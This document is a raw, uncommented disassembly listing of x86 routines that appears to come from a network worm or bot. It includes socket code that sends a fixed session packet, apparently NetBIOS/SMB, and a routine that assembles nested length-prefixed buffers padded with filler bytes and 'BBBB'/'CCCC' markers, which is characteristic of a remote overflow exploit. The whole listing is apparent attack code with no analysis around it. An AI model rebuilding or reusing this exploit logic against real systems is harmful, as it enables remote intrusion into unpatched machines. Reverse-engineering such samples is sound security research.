		lea	eax, [ebp+var_1CC]
		push	offset unk_4321E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E564[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40C4A2


loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------


loc_40C4A2:				; CODE XREF: sub_40C124+371j
		nop
		call	near ptr 2670E94h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428


loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB770[eax*8]
		push	eax
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_43216C
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB774[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD770
		nop
		call	near ptr 26D0702h


loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB774[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB624
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB6A4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5CC
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E56C[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB6B0
		push	eax
		mov	edi, offset dword_4CE134
		push	offset dword_43224C
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h


loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB6BC
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B6B015FFh, 8D50004Ch, 0FFFECC85h
		dd 227468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0E3600500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 8AE85757h, 9002263Eh, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 422DE8FCh, 0FF900224h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CB54Ch
		dd 45895040h, 2015FF08h, 89004CB6h, 458D0845h, 50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 0B015FFE4h, 50004CB6h, 0FED0858Dh, 0C868FFFFh
		dd 50004322h, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 60050000h,	500043E3h, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 263D98E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 224413Bh, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 0B015FFE4h, 50004CB6h, 0FED0858Dh, 9C68FFFFh
		dd 50004322h, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949


loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------


loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------


loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CB4DC
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------


loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1


loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CFAC
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F


loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_432300
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_432308
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_432684
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_43230C
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_432678
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_432674
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_432670
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_432664
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_43265F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------


loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB


loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------


loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB63C


loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB620
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB674
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CB674
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------


loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_43239C
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4323CC
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CE33C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_432314
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95


loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------


loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1


loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_4323D8
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D


loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


